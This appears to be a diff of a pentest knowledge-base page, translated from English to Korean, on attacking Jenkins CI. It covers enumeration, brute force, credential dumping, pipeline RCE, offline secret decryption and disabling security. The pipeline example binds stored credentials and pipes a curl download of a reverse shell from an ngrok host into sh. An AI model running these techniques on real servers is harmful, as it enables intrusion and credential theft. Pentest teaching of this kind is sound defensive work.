> 보시다시피, 사용자의 일부 자격 증명을 획득하더라도 예를 들어 CI/CD 파이프라인을 침해하기 위해 master에 코드를 푸시하는 것을 **리포지토리 보호 설정이 막을 수 있습니다**.
## Tag Protections
Tags (like latest, stable) are mutable by default. To enforce a foureyes flow on tag updates, protect tags and chain protections through environments and branches:
@@ -259,6 +315,16 @@ Tags (like latest, stable) are mutable by default. To enforce a foureyes flow
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
## Tag Protections
태그(latest, stable 등)는 기본적으로 변경 가능(mutable)합니다. 태그 업데이트에 이중 승인(foureyes) 흐름을 강제하려면 태그를 보호하고 환경(environment)과 브랜치를 통해 보호를 연쇄하세요:
1) 태그 보호 규칙에서 **Require deployments to succeed**를 활성화하고 보호된 환경(예: prod)으로의 성공적인 배포를 요구합니다.
2) 대상 환경에서 **Deployment branches and tags**를 릴리스 브랜치(예: main)로 제한하고, 선택적으로 **Required reviewers**를 설정하며 **Prevent self-review**를 활성화합니다.
3) 릴리스 브랜치에서 브랜치 보호를 구성하여 **Require a pull request**를 요구하고 승인 수를 ≥1로 설정하며 **새 커밋 푸시 시 승인 무효화(Dismiss approvals when new commits are pushed)**와 **가장 최근의 reviewable push에 대한 승인 요구(Require approval of the most recent reviewable push)**를 모두 활성화합니다.
이 연쇄적 보호는 워크플로우 밖에서 배포 게이트가 강제되므로, 단일 협력자가 workflow YAML을 편집해 태그를 재지정하거나 강제로 릴리스를 퍼블리시하는 것을 방지합니다.
## References
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
@@ -273,5 +339,3 @@ This chain prevents a single collaborator from retagging or force-publishing rel
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,312 +1,292 @@
# Jenkins Security
# Jenkins 보안
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
Jenkins는 파이프라인을 사용하여 거의 **모든** 조합의 **프로그래밍 언어** 및 소스 코드 리포지토리에 대한 **지속적인 통합** 또는 **지속적인 배포** (CI/CD) 환경을 설정하는 간단한 방법을 제공하는 도구입니다. 또한 다양한 일상적인 개발 작업을 자동화합니다. Jenkins는 **개별 단계에 대한 스크립트를 작성할 필요성**을 없애지는 않지만, 수동으로 쉽게 구성할 수 있는 것보다 빌드, 테스트 및 배포 도구의 전체 시퀀스를 통합하는 더 빠르고 강력한 방법을 제공합니다.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Unauthenticated Enumeration
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
## 인증되지 않은 열거
인증 없이 흥미로운 Jenkins 페이지를 검색하려면 (_/people_ 또는 _/asynchPeople_와 같이 현재 사용자를 나열하는 페이지) 다음을 사용할 수 있습니다:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Check if you can execute commands without needing authentication:
인증 없이 명령을 실행할 수 있는지 확인하십시오:
```
msf> use auxiliary/scanner/http/jenkins_command
```
자격 증명이 없으면 _**/asynchPeople/**_ 경로 또는 _**/securityRealm/user/admin/search/index?q=**_에서 **사용자 이름**을 확인할 수 있습니다.
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
경로 _**/oops**_ 또는 _**/error**_에서 Jenkins 버전을 확인할 수 있을 것입니다.
![](<../../images/image (146).png>)
### Known Vulnerabilities
### 알려진 취약점
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Login
## 로그인
In the basic information you can check **all the ways to login inside Jenkins**:
기본 정보에서 **Jenkins에 로그인하는 모든 방법**을 확인할 수 있습니다:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Register
### 등록
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. **그것만큼 간단합니다.**
### **SSO Login**
### **SSO 로그인**
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
또한 **SSO** **기능**/**플러그인**이 존재한다면 테스트 계정(예: 테스트 **Github/Bitbucket 계정**)을 사용하여 애플리케이션에 **로그인**을 시도해야 합니다. [**여기**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)에서 팁을 얻으세요.
### Bruteforce
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
### 브루트포스
**Jenkins**는 **비밀번호 정책**과 **사용자 이름 브루트포스 완화**가 부족합니다. **약한 비밀번호** 또는 **비밀번호로서의 사용자 이름**이 사용될 수 있으므로 **사용자**를 **브루트포스**하는 것이 필수적입니다. 심지어 **역순 사용자 이름을 비밀번호로 사용하는 경우**도 있습니다.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
### 비밀번호 스프레이
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
### IP 화이트리스트 우회
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
많은 조직이 **SaaS 기반 소스 제어 관리(SCM) 시스템**인 GitHub 또는 GitLab을 **내부, 자체 호스팅 CI** 솔루션인 Jenkins 또는 TeamCity와 결합합니다. 이 설정은 CI 시스템이 **SaaS 소스 제어 공급업체**로부터 **웹훅 이벤트**를 수신할 수 있게 하여 파이프라인 작업을 트리거할 수 있도록 합니다.
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
이를 달성하기 위해 조직은 **SCM 플랫폼**의 **IP 범위**를 **화이트리스트**하여 **웹훅**을 통해 **내부 CI 시스템**에 접근할 수 있도록 허용합니다. 그러나 **누구나** GitHub 또는 GitLab에 **계정**을 생성하고 이를 **웹훅을 트리거**하도록 구성할 수 있다는 점에 유의해야 합니다. 이는 **내부 CI 시스템**에 요청을 보낼 수 있습니다.
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
## 내부 Jenkins 남용
In these scenarios we are going to suppose you have a valid account to access Jenkins.
이 시나리오에서는 Jenkins에 접근할 수 있는 유효한 계정이 있다고 가정합니다.
> [!WARNING]
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
> Jenkins에 구성된 **인증** 메커니즘과 손상된 사용자의 권한에 따라 **다음 공격을 수행할 수 있을 수도 있고, 아닐 수도 있습니다.**
For more information check the basic information:
자세한 정보는 기본 정보를 확인하세요:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Listing users
### 사용자 목록 나열
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
Jenkins에 접근했다면 [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)에서 다른 등록된 사용자를 나열할 수 있습니다.
### Dumping builds to find cleartext secrets
### 평문 비밀 찾기를 위한 빌드 덤프
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **SSH 자격 증명 탈취**
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
타협된 사용자가 **새 Jenkins 노드를 생성/수정할 수 있는 충분한 권한**을 가지고 있고 SSH 자격 증명이 다른 노드에 접근하기 위해 이미 저장되어 있다면, 그는 **노드를 생성/수정하고 자격 증명을 기록할 호스트를 설정하여** 그 자격 증명을 **탈취할 수 있습니다**. 호스트 키를 검증하지 않고:
![](<../../images/image (218).png>)
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
Jenkins SSH 자격 증명은 일반적으로 **전역 제공자**(`/credentials/`)에 있으므로, 다른 비밀을 덤프하는 것처럼 그들을 덤프할 수 있습니다. 더 많은 정보는 [**비밀 덤프 섹션**](./#dumping-secrets)에서 확인하세요.
### **RCE in Jenkins**
### **Jenkins에서의 RCE**
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
**Jenkins 서버에서 셸을 얻는 것**은 공격자에게 모든 **비밀**과 **환경 변수**를 유출하고, 동일한 네트워크에 위치한 **다른 머신을 악용**하거나 **클라우드 자격 증명**을 **수집할 수 있는 기회**를 제공합니다.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
기본적으로 Jenkins는 **SYSTEM으로 실행**됩니다. 따라서 이를 타협하면 공격자는 **SYSTEM 권한**을 얻게 됩니다.
### **RCE Creating/Modifying a project**
### **프로젝트 생성/수정으로 RCE 얻기**
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
프로젝트를 생성/수정하는 것은 Jenkins 서버에서 RCE를 얻는 방법입니다:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Execute Groovy script**
### **Groovy 스크립트 실행으로 RCE 얻기**
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 프로젝트를 생성하는 것보다 더 은밀할 수 있습니다:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Creating/Modifying Pipeline
### 파이프라인 생성/수정으로 RCE 얻기
You can also get **RCE by creating/modifying a pipeline**:
**파이프라인을 생성/수정하여 RCE를 얻을 수도 있습니다**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Pipeline Exploitation
## 파이프라인 악용
To exploit pipelines you still need to have access to Jenkins.
파이프라인을 악용하려면 여전히 Jenkins에 접근할 수 있어야 합니다.
### Build Pipelines
### 빌드 파이프라인
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
**파이프라인**은 **프로젝트의 빌드 메커니즘**으로도 사용될 수 있으며, 이 경우 **저장소 내의 파일**이 파이프라인 구문을 포함하도록 구성될 수 있습니다. 기본적으로 `/Jenkinsfile`이 사용됩니다:
![](<../../images/image (127).png>)
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
또한 **다른 위치에 파이프라인 구성 파일을 저장**하는 것도 가능하며(예: 다른 저장소) 이는 **저장소 접근**과 **파이프라인 접근**을 **분리하기 위한 목적**입니다.
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
공격자가 **해당 파일에 대한 쓰기 권한**을 가지고 있다면, 그는 이를 **수정**하고 **Jenkins에 접근하지 않고도** 파이프라인을 **트리거할 수 있습니다**.\
공격자가 **일부 브랜치 보호를 우회해야 할 수도 있습니다**(플랫폼과 사용자 권한에 따라 우회할 수 있을 수도 있고 아닐 수도 있습니다).
The most common triggers to execute a custom pipeline are:
사용자 정의 파이프라인을 실행하기 위한 가장 일반적인 트리거는 다음과 같습니다:
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
- **주 브랜치에 대한 풀 요청**(또는 다른 브랜치에 대한 가능성)
- **주 브랜치에 푸시**(또는 다른 브랜치에 대한 가능성)
- **주 브랜치를 업데이트**하고 실행될 때까지 기다리기
> [!NOTE]
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
> **외부 사용자**인 경우, **다른 사용자/조직의 저장소의 주 브랜치에 PR을 생성**하고 **파이프라인을 트리거**할 것으로 기대해서는 안 됩니다... 하지만 **잘못 구성된 경우** 이를 악용하여 회사를 **완전히 타협할 수 있습니다**.
### Pipeline RCE
### 파이프라인 RCE
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
이전 RCE 섹션에서는 [**파이프라인을 수정하여 RCE를 얻는 기술**](./#rce-creating-modifying-pipeline)이 이미 언급되었습니다.
### Checking Env variables
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
### 환경 변수 확인
**전체 파이프라인 또는 특정 단계에 대해 일반 텍스트 환경 변수를 선언**하는 것이 가능합니다. 이 환경 변수는 **민감한 정보를 포함해서는 안 되지만**, 공격자는 항상 **모든 파이프라인** 구성/Jenkinsfile을 **확인할 수 있습니다**:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### 비밀 덤프
### Dumping secrets
For information about how are secrets usually treated by Jenkins check out the basic information:
Jenkins에서 비밀이 일반적으로 어떻게 처리되는지에 대한 정보는 기본 정보를 확인하세요:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
자격 증명은 **전역 제공자**(`/credentials/`) 또는 **특정 프로젝트**(`/job/<project-name>/configure`)에 **범위가 지정**될 수 있습니다. 따라서 모든 비밀을 유출하려면 **비밀이 포함된 모든 프로젝트를 최소한 타협**해야 하며, 사용자 정의/오염된 파이프라인을 실행해야 합니다.
또 다른 문제는 파이프라인의 **env** 내에서 **비밀을 얻으려면** **비밀의 이름과 유형을 알아야 한다는** 것입니다. 예를 들어, **`string`** **비밀**로 **`usernamePassword`** **비밀**을 **로드**하려고 하면 이 **오류**가 발생합니다:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Here you have the way to load some common secret types:
여기 일반적인 비밀 유형을 로드하는 방법이 있습니다:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
이 페이지의 끝에서 **모든 자격 증명 유형**을 **찾을 수 있습니다**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
> **모든 비밀을 한 번에 덤프하는** 가장 좋은 방법은 **Jenkins** 머신을 **타협하는** 것입니다 (예를 들어 **내장 노드**에서 리버스 셸을 실행) 그리고 **마스터 키**와 **암호화된 비밀**을 **유출**한 후 오프라인에서 복호화하는 것입니다.\
> 이를 수행하는 방법에 대한 자세한 내용은 [Nodes & Agents section](./#nodes-and-agents) [Post Exploitation section](./#post-exploitation)에서 확인할 수 있습니다.
### Triggers
### 트리거
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
Cron example:
[문서](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers)에서: `triggers` 지시문은 **파이프라인이 자동으로 다시 트리거되는 방법**을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 통합된 파이프라인의 경우, 웹훅 기반 통합이 이미 존재할 가능성이 있으므로 `triggers`가 필요하지 않을 수 있습니다. 현재 사용 가능한 트리거는 `cron`, `pollSCM` `upstream`입니다.
Cron 예:
```bash
triggers { cron('H */4 * * 1-5') }
```
다른 예제는 **문서에서 확인하세요**.
Check **other examples in the docs**.
### 노드 및 에이전트
### Nodes & Agents
**Jenkins 인스턴스**는 **다른 머신에서 실행되는 다양한 에이전트**를 가질 수 있습니다. 공격자의 관점에서 볼 때, 다양한 머신에 대한 접근은 **다양한 잠재적 클라우드 자격 증명**을 훔치거나 **다른 머신을 악용할 수 있는 다양한 네트워크 접근**을 의미합니다.
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
For more information check the basic information:
자세한 정보는 기본 정보를 확인하세요:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
`/computer/`에서 **구성된 노드**를 나열할 수 있으며, 보통 **`Built-In Node`** (Jenkins를 실행하는 노드)를 찾을 수 있고, 잠재적으로 더 많은 노드를 찾을 수 있습니다:
![](<../../images/image (249).png>)
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
**Built-In 노드를 타겟으로 하는 것이 특히 흥미롭습니다**. 왜냐하면 이 노드는 민감한 Jenkins 정보를 포함하고 있기 때문입니다.
**내장 Jenkins 노드**에서 **파이프라인**을 **실행**하고 싶다는 것을 나타내기 위해, 파이프라인 내에서 다음 구성을 지정할 수 있습니다:
```bash
pipeline {
agent {label 'built-in'}
agent {label 'built-in'}
```
### 전체 예제
### Complete example
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
특정 에이전트에서의 파이프라인, 크론 트리거와 함께, 파이프라인 및 단계 환경 변수, 단계에서 2개의 변수를 로드하고 리버스 셸을 전송하는 예:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
post {
always {
cleanWs()
}
}
}
```
## Arbitrary File Read to RCE
## 임의 파일 읽기를 통한 RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Post Exploitation
### Metasploit
## 포스트 익스플로잇
### 메타스플로잇
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
당신은 충분한 권한이 있다면 `/credentials/`에 접근하여 비밀을 나열할 수 있습니다. 이는 `credentials.xml` 파일 내의 비밀만 나열하지만, **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다.
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
만약 당신이 **각 프로젝트의 구성을 볼 수 있다면**, 저장소에 접근하기 위해 사용되는 **자격 증명(비밀)**의 이름과 **프로젝트의 다른 자격 증명**도 볼 수 있습니다.
![](<../../images/image (180).png>)
@@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md
#### From disk
These files are needed to **decrypt Jenkins secrets**:
이 파일들은 **Jenkins 비밀을 복호화하는 데 필요합니다**:
- secrets/master.key
- secrets/hudson.util.Secret
Such **secrets can usually be found in**:
이러한 **비밀은 일반적으로 다음에서 찾을 수 있습니다**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Here's a regex to find them:
다음은 이를 찾기 위한 정규 표현식입니다:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Jenkins 비밀을 오프라인으로 복호화하기
#### Decrypt Jenkins secrets offline
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
**비밀을 복호화하는 데 필요한 비밀번호를 덤프한 경우**, **이 스크립트**를 사용하여 **그 비밀을 복호화하세요**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Decrypt Jenkins secrets from Groovy
#### Groovy에서 Jenkins 비밀 해독하기
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### 새 관리자 사용자 만들기
### Create new admin user
1. `/var/lib/jenkins/config.xml` 또는 `C:\Program Files (x86)\Jenkis\`에서 Jenkins config.xml 파일에 접근합니다.
2. `<useSecurity>true</useSecurity>`라는 단어를 검색하고 **`true`**를 **`false`**로 변경합니다.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Jenkins** 서버를 **재시작**합니다: `service jenkins restart`
4. 이제 다시 Jenkins 포털로 가면 **Jenkins가 자격 증명을 요청하지 않습니다**. "**Manage Jenkins**"로 이동하여 **관리자 비밀번호를 다시 설정**합니다.
5. 설정을 `<useSecurity>true</useSecurity>`로 변경하여 **보안을 다시 활성화**하고 **Jenkins를 다시 재시작**합니다.
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** the **Jenkins** server: `service jenkins restart`
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
## References
## 참고자료
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,6 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,87 +1,87 @@
# Basic Jenkins Information
# 기본 Jenkins 정보
{{#include ../../banners/hacktricks-training.md}}
## Access
## 접근
### Username + Password
### 사용자 이름 + 비밀번호
The most common way to login in Jenkins if with a username or a password
Jenkins에 로그인하는 가장 일반적인 방법은 사용자 이름 또는 비밀번호입니다.
### Cookie
### 쿠키
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
**권한이 있는 쿠키가 도난당하면**, 사용자의 세션에 접근하는 데 사용될 수 있습니다. 쿠키는 일반적으로 `JSESSIONID.*`라고 불립니다. (사용자는 자신의 모든 세션을 종료할 수 있지만, 먼저 쿠키가 도난당했음을 알아야 합니다).
### SSO/Plugins
### SSO/플러그인
Jenkins can be configured using plugins to be **accessible via third party SSO**.
Jenkins는 플러그인을 사용하여 **타사 SSO를 통해 접근 가능하도록** 구성할 수 있습니다.
### Tokens
### 토큰
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
**사용자는 토큰을 생성하여** CLI 또는 REST API를 통해 자신을 가장하는 애플리케이션에 접근할 수 있도록 할 수 있습니다.
### SSH Keys
### SSH
This component provides a built-in SSH server for Jenkins. Its an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
이 구성 요소는 Jenkins를 위한 내장 SSH 서버를 제공합니다. 이는 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)에 대한 대체 인터페이스이며, 명령은 모든 SSH 클라이언트를 사용하여 이 방법으로 호출할 수 있습니다. (문서에서)
## Authorization
## **권한 부여**
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
`/configureSecurity`에서 **Jenkins의 권한 부여 방법을 구성할 수 있습니다**. 여러 가지 옵션이 있습니다:
- **Anyone can do anything**: Even anonymous access can administrate the server
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
- **누구나 무엇이든 할 수 있음**: 익명 접근조차도 서버를 관리할 수 있습니다.
- **레거시 모드**: Jenkins <1.164와 동일합니다. **"admin" 역할**이 있는 경우 시스템에 대한 **전체 제어**가 부여되며, **그렇지 않은 경우**(익명 사용자 포함) **읽기** 접근만 가능합니다.
- **로그인한 사용자는 무엇이든 할 수 있음**: 이 모드에서는 모든 **로그인한 사용자에게 Jenkins의 전체 제어**가 부여됩니다. 전체 제어를 가지지 않는 유일한 사용자는 **익명 사용자**, **읽기 접근**만 가능합니다.
